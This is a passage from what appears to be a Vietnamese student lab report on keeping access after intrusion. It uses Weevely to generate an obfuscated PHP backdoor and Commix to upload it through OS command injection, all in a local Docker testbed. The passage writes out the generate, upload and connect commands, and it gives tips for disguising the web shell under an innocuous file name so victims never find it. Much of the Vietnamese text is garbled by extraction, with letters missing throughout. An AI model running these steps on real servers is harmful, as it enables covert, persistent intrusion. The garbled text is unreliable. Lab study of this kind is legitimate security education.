57
Hình 27: Tải file lên thành cơng
Hình 28: Kiểm tra file được tải lên thành công Bước 3: Từ máy kali tiến hành kết nối tới backdoor Bước 3: Từ máy kali tiến hành kết nối tới backdoor
58
Hình 29: Kết nối backdoor Bước 4: Khai thác Bước 4: Khai thác
Từ y t ó t ể tùy ý th c hi n các câu l nh shell, các modul v ặc quyền cao nhất.
59
Hình 30: Liệt kê các file trong trang web
2. Demo sử dụng Weevely kết hợp Commix để tạo và tải lên backdoor
2.1. Giới thiệu sơ qua về công cụ Commix
Commix (là từ vi t t t c a [Comm] and [i]njection e[x]ploiter - trình khai thác chèn l n ). Đ y l l một công cụ kiểm tra thâm nh p mã nguồn mở (open sourse pen-t st tool) ợc vi t bởi Anastasios Stasinopoulos, hỗ trợ vi c t ộng hóa vi c phát hi n và khai thác các lỗ hổng chèn l nh
B n quyền công cụ từ năm 2014 n th ểm hi n tại thuộc về tác gi An st s os St s nopoulos. C n tr n n y l p ần mềm miễn p í: n i dùng có thể phân ph i lại và/hoặc s ổ nó t o ều kho n c a Giấy phép Công cộng GNU do Tổ chức Phần mềm T do (Free Software Foundation) xuất b n, phiên b n 3 c a Giấy phép hoặc bất kỳ phiên b n nào m n.
Nhữn ặc tính nổi b t (theo cơng b c a trang ch cơng cụ): Cơng cụ có một s ặc tính nổi b t v n i s dụn n s u:
- Dễ s dụng: T ộng hóa vi c phát hi n và khai thác các lỗ hổng chèn l nh trong (các) tham s dễ bị tấn cơng và/hoặc các HTTP header. - Tín ộng cao. Tồn bộ những thành phần cần thi t ể th c hi n
những cuộc tấn công chèn l nh ch ng lại nhiều loại h ều hành và ứng dụn ều ợc tích hợp trong cơng cụ
- Tính mơ- un ó : N i dùng có thể phát triển và dễ dàng nh p các mô- un r ên m n ể tăn k năn tấn công c a commix và/hoặ ều ch nh nó theo nhu cầu c a họ.
- Tín t n t í éo Comm x t n t í v i nhiều công cụ kiểm tra thâm nh p k n : Metasploit Framework. Burp-suite, SQLMap, vv, do ó tỷ l phát hi n v k t t n ôn ợ tăn o.
- Tín nền t n : Comm x ợc vi t bằn Pyt on o ó nó yêu cầu Pyt on ể có thể chạy trên tất c các nền t ng.
- Miễn phí và mã nguồn mở
Trang ch công cụ: https://commixproject.com
60
2.2. Các kỹ thuật tấn công được hỗ trợ
Commix hỗ trợ phát hi n và khai thác dạng tấn công chèn l nh sau: - Tấn công chèn lệnh dựa trên kết quả (Results-based): Trong các cuộc tấn
công chèn l nh d a trên k t qu , kẻ tấn cơng có thể tr c ti p suy ra k t qu c a l n ợ v o t ôn qu p n hồi c a ứng dụng web. Các cuộc tấn công chèn l nh d a trên k t qu ợc chia thành hai kỹ thu t:
Tấn công chèn lệnh dựa trên kết quả (cổ điển): Kỹ thu t cổ ển là
kiểu tấn ôn n n và phổ bi n nhất. Cụ thể n kẻ tấn công s dụng một s tốn t phổ bi n, có thể ghép các l nh g n ầu v i các l n ợ v o oặc loại trừ các l nh g n ầu ch th c hi n các l n ợ v o.
Shellshock: Lỗ S lls o k ợc phát hi n trong Bash, một
công cụ ợc s dụng rộng rãi bởi h ều hành Unix và nhiều bi n thể c a nó, bao gồm phần mềm nguồn mở Linux và OS X c a Apple.
Lọc ICMP (ICMP exfiltration) Lọc DNS
Kỹ thuật đánh giá mã động (Tấn công chèn lệnh dựa trên đánh giá): Vi c chèn l n t ôn qu n m ộng diễn ra khi ứng
dụng dễ bị tấn công s dụng hàm eval(), hàm n y ợc s dụn ể th t ộn m ợc chuyển (t i hàm eval() trong th i gian chạy. H m v l() ợc cung cấp bởi nhiều ngôn ngữ thông dị n Java, Javascript, Python, Perl, PHP và Ruby.
- Tấn công chèn lệnh mù (Blind): S khác bi t chính giữa các cuộc tấn
cơng chèn l nh d a trên k t qu và các cuộc tấn công chèn l nh mù nằm ở cách dữ li u ợc truy xuất sau khi th c hi n l n s ll ợ v o. Cụ thể n ó n ữn tr ng hợp một ứng dụng sau khi th c hi n l n ợc vào không tr lại bất kỳ k t qu nào cho kẻ tấn công. Trong những tr ng hợp này, kẻ tấn cơng có thể gián ti p suy ra k t qu c a l n ợc v o ằng cách s dụng hai kỹ thu t sau:
Time-based (Blind): D a trên th i gian (Mù): Thông qua kỹ thu t
này, kẻ tấn công chèn và th c hi n các l n ể hiển thị ộ trễ th i gian. Bằn o t i gian ứng dụng ph n hồi, kẻ tấn cơng có thể x ịnh xem l n ợc th c thi thành công hay thất bại. Chức
61
năn tron B s s ll ó t ể gi i thi u ộ trễ th i gian là ch ộ ng o ó ằn qu n s t ộ trễ th i gian, kẻ tấn cơng có thể suy ra k t qu c a l n ợ v o.
File-based (SemiBlind): D a trên t p tin (B n mù): Kỹ thu t này
d a trên một logic rất n n khi kẻ tấn công không thể quan sát k t qu th c hi n một l n ợ v o t kẻ tấn cơng có thể ghi chúng vào một t p mà hãn có thể truy c p ợc.
2.3. Cài đặt công cụ
- Mô tr n ặt: Kali Linux 2021.1
- Các yêu cầu tr k ặt: M y Pyt on 2.6 2.7 oặc 3.x - Ti n n ặt: T i Commix về máy từ trang github
Hình 31: Cài đặt commix
2.4. Môi trường
62
- Máy o K l L nux ó ịa ch IP192.168.175.128
- Máy o K l l nux ợ ặt Python 3, Commix, Docker và Weevely. - Mô tr n Comm x T st : Comm x T st l mô tr n ợc tạo ra dành riêng cho vi c th nghi m OS Command Injection vì nó tạo r mô tr ng v i gần n to n ộ lỗ hổn OS Comm n Inj t on o n th ểm hi n tại. Do nhữn ặc tính nổi trộ ó t nghi m sẽ ợc th c hi n trên mô tr ng Comm x T st . Comm x T st ợ ặt bằng cách clone từ github theo ng d n: https://github.com/commixproject/commix-testbed
Hình 32: Clone Commix Testbed từ github
2.5. Kịch bản
Sau khi kẻ tấn ôn t m ợc lỗ hổng OS Command injection. Kẻ tấn ôn t c hi n thành công tấn cơng vào lỗ hổn ó. B y kẻ tấn công sẽ ti n hành tạo backdoor và t k oor ó lên mục tiêu tấn ơn ợc. Ở bài
63
demo này, chúng ta sẽ s dụng môi tr n Comm x T st ể l m mô tr ng chứa lỗ hổn ể tấn công.
2.6. Tiến hành thử nghiệm
Bước 1: Khởi động môi trường chứa lỗ hổng
Bây gi chúng ta bi t mình sẽ s dụng cơng cụ nào và mụ í a chúng là gì, hãy b t ầu khở ộn mô tr ng chứa lỗ hổng c a chúng ta mà chúng ta sẽ khai thác một cách an toàn và hợp pháp.
Đ i v ều này, chúng ta sẽ s dụng các vùng chứa Docker vì chúng dễ t i lên và g xu ng và chúng ta có thể chạy chúng trong một máy o riêng bi t chạy h ều hành mà chúng ta l a chọn.
Bây gi chúng ta sẽ khở ộn Do k r v kéo v o tron mô tr ng Commix Testbed:
64
Hình 33: Khởi động Docker và kéo vào Commix Testbed Bước 2: Tạo file backdoor bằng Weevely
Chúng ta sẽ s dụng một s dụng 1 c a sổ cmd m ể tạo file backdoor tại mục Documents.
Hình 34: Thư mục Documents
S u ó y tạo backdoor bằng Weevely bằng l nh:
weevely generate commix weevely.php
Thao tác này sẽ tạo một t p t n w v ly.p p tron t mục hi n tại c a chúng ta v i m t khẩu l omm x. Để xem nội dung, chúng ta có thể gõ:
cat weevely.php
65
N ạn có thể thấy, mã bị xáo trộn t ơn qu m ó n n m n y là thứ tạo ra c a sau c a chúng ta.
Nhữn n i tạo ra Weevely gọ y l t n n s u v y l t p mà chúng ta mu n t lên t mụ w í . S u k nó ợc t lên t mục web í n t sẽ yêu cầu máy ch web th t m PHP ó l m un ấp cho chúng ta có quyền truy c p từ xa. Vì v y, tác nhân ph i có thể truy c p ợc từ URL mà bạn có quyền truy c p, n u k ôn ều này sẽ không hoạt ộng.
Bước 3: Tải backdoor lên bằng Commix
Ở y n t s dụng công cụ Comm x ể t i lên backdoor. Chúng ta sẽ s dụng câu l n s u ể t i lên:
python3 commix.py --url="http://127.0.0.1:3000/commix-
testbed/scenarios/regular/GET/classic.php?addr=INJECT_HERE" --file- upload="/home/kali/Documents/weevely.php" --file-
dest="/var/www/example.com/public_html/commix- testbed/scenarios/regular/GET/"
66
V i l nh này chúng ta sẽ t i file backdoor lên mục tiêu
(/var/www/example.com/public_html/commix-testbed/scenarios/regular/GET/) *Đ n y t nghi m bị lỗi HTTP, do v y s u y m x n p ép tr n bày lý thuy t ể th c hi n n t bài th nghi m.
C n tr n sẽ h i li u chúng ta có mu n kích hoạt một máy ch HTTP và chúng ta sẽ tr l i là Y.
S u ó n t sẽ nh n ợc c nh báo gi ng trong k t qu này: [warning] It seems that you don't have permissions to write the
'/var/www/example.com/public_html/commix- testbed/scenarios/regular/GET/weevely.php' file.
67
Và t p k ôn v t k o n n t n ạy ứng dụng khơng có quyền thích hợp, chúng ta có thể thấy ều này trong nh t ký Ap . Đ ều này là do cách các quyền ợc thi t l p trên máy ch /vùng chứa.
Hình 38: Nhật ký Apache
N u chúng ta thoát ra kh i nh t ký lỗi và chạy ls -l, chúng ta sẽ thấy rằng t mục thuộc sở hữu c a root. Mặc dù mình khơng khun bạn nên s dụng tài kho n root ể sở hữu t mục ứng dụn w n n tron tr ng hợp này, nó n ăn n t t i lên t p qua lỗ hổng command injection, vì v y ó l ều cần l u ý k n t k m p n pháp phịng th sau này Quyền có thể ón một vai trò trong vi n ăn ặn các cuộc tấn ôn n n n ũn không nên là bi n pháp b o v duy nhất.
H y t y ổi các quyền n y ể chúng ta có thể th c hi n vi c t i t p lên v i câu l nh:
68
chown -R www-data:www-data commix-testbed Bây gi , hãy chạy lại cuộc tấn công c a chúng ta:
python3 commix.py --url="http://127.0.0.1:3000/commix-
testbed/scenarios/regular/GET/classic.php?addr=INJECT_HERE" --file- upload="/home/kali/Documents/weevely.php" --file-
dest="/var/www/example.com/public_html/commix- testbed/scenarios/regular/GET/"
Và chúng ta sẽ ạt ợc mụ í k t ôn o n y n lên: [info] The /var/www/example.com/public_html/commix-
testbed/scenarios/regular/GET/weevely.php file was uploaded successfully! C n t t i tác nhân backdoor c a mình lên máy ch và chúng ta có thể xác minh bằng Pseudo-terminal:
ls weevely.php
Bước 3: Kết nối với tác nhân backdoor
Sau khi t i lên tác nhân backdoor, chúng ta có thể th c thi t p l nh bằng Weevely từ h th ng c a mình:
weevely http://127.0.0.1:3000//commix-
testbed/scenarios/regular/GET/weevely.php commix
69
Hình 39: Thực thi tập lệnh từ xa bằng Weevely
Gi y n t ó quyền truy c p shell vào máy ch /vùng chứa và n u y k ôn p l mơ tr ng phịng thí nghi m, chúng ta có thể giữ quyền truy c p này miễn là nạn nhân c a chúng ta không nh n r k oor n ở ó.
3. Kết luận thử nghiệm việc tạo backdoor với Weevely
Xem xét rằng t p 404.php hay weevely.php này ch là một trong hàng nghìn t p trên h th ng, tùy thuộc vào mứ ộ phức tạp c a mục tiêu c a bạn, có thể là nạn nhân sẽ khơng bao gi tìm thấy t p này. Bạn th m chí có thể t y ổi tên t p này thành một tên t p trộn l n nhiều n v o tron n n n t p khác. Ví dụ: có một loạt các t p ở y t ầu bằng classic_, vì v y bạn có thể ặt tên là classic_advanced_auth.php c a mình và nó sẽ v o n trăm t p t n t
70
71 III. KẾT LUẬN
C n t vừa khám phá công cụ tuy t v i có tên Weevely trong bài này bằng cách s dụng nó th c t tron mơ tr ng th nghi m. Ch cần li t kê các mô- un/tùy ọn do Weevely cung cấp, chúng ta có thể hình dung cơng cụ này có những kh năn .
Chúng ta có thể thấy vi c s dụng công cụ W v ly ể tạo backdoor, k t n n k oor s u k ợc t i lên lên máy ch web mục tiêu, và th c hi n các modul ể khai thác thông tin, s ổi, tấn công là rất n n, dễ dàng. Cơng cụ có sẵn trên kali hoặc có thể t i về, rất dễ s dụng v ng d n chi ti t ầy .
Cùng v ó n t ợc tìm hiểu và bi t ển về uy tr ăn n p – một tron năm c quan trọng c a mọi tin tặ ều ph tu n t o. Đ y l một trong nhữn c vô cùng quan trọng vì khi tin tặ n ợc quyền truy c p vào h th ng mục tiêu, tin tặc có thể chọn s dụng c h th ng và tài nguyên c a nó ồng th i s dụng h th n n y n một b p ón ể quét và khai thác các h th ng khác hoặc giữ một cấu hình thấp và ti p tục khai thác h th n . Để làm ợc nhữn ều này tin tặc cần duy trì một truy c p thơng su t và không bị phát hi n. V n t ợc bi t n qu v ịnh nghĩa trong bài tiểu lu n.
LINK VIDEO BÀI THỬ NGHIỆM
- Demo s dụng Weevely tạo backdoor trong Wordpress: https://youtu.be/WST100ZVFqY
- Demo s dụng Weevely k t hợp Comm x ể tạo và t i lên backdoor: https://drive.google.com/file/d/1M-
72 DANH MỤC TÀI LIỆU THAM KHẢO
Tài liệu tiếng nước ngoài
1 Stefan Umit Uygur (2014), Penetration Testing with BackBox, PC Packt Publishing Ltd.
2 Wolf Halton, Bo Weaver, Juned Ahmed Ansari, Srinivasa Rao Kotipalli, Mohammed A.Imran (2016), Penetration Testing: A Survival Guide, PC Packt Publishing Ltd.
3 Leonard Chin (2016), 5 Phases Every Hacker Must Follow.
Tài liệu trang web
1 Lester Obbayi (2020), Ethical hacking: Stealthy network recon techniques, trên trang web
https://resources.infosecinstitute.com/topic/ethical-hacking-stealthy- network-recon-techniques/, (truy c p ngày 22/12/2021).
2 Morey J. Haber (2021), Privilege Escalation Attack and Defense Explained, trên trang web
https://www.beyondtrust.com/blog/entry/privilege-escalation-attack- defense-explained, (truy c p ngày 22/12/2021).
3 Ben Martens (2021), What Is a Backdoor & How to Prevent Backdoor Attacks, trên trang web https://www.safetydetectives.com/blog/what-is-a- backdoor-and-how-to-protect-against-it/, (truy c p ngày 22/12/2021). 4 Chritophe (2020), Uploading Backdoor Shells with Weevely and
Commix, trên trang web, https://cybr.com/ethical-hacking- archives/uploading-backdoor-shells-with-weevely-and- commix/?fbclid=IwAR0EdYFycrwwuuF4hLN0tqMKA2aF-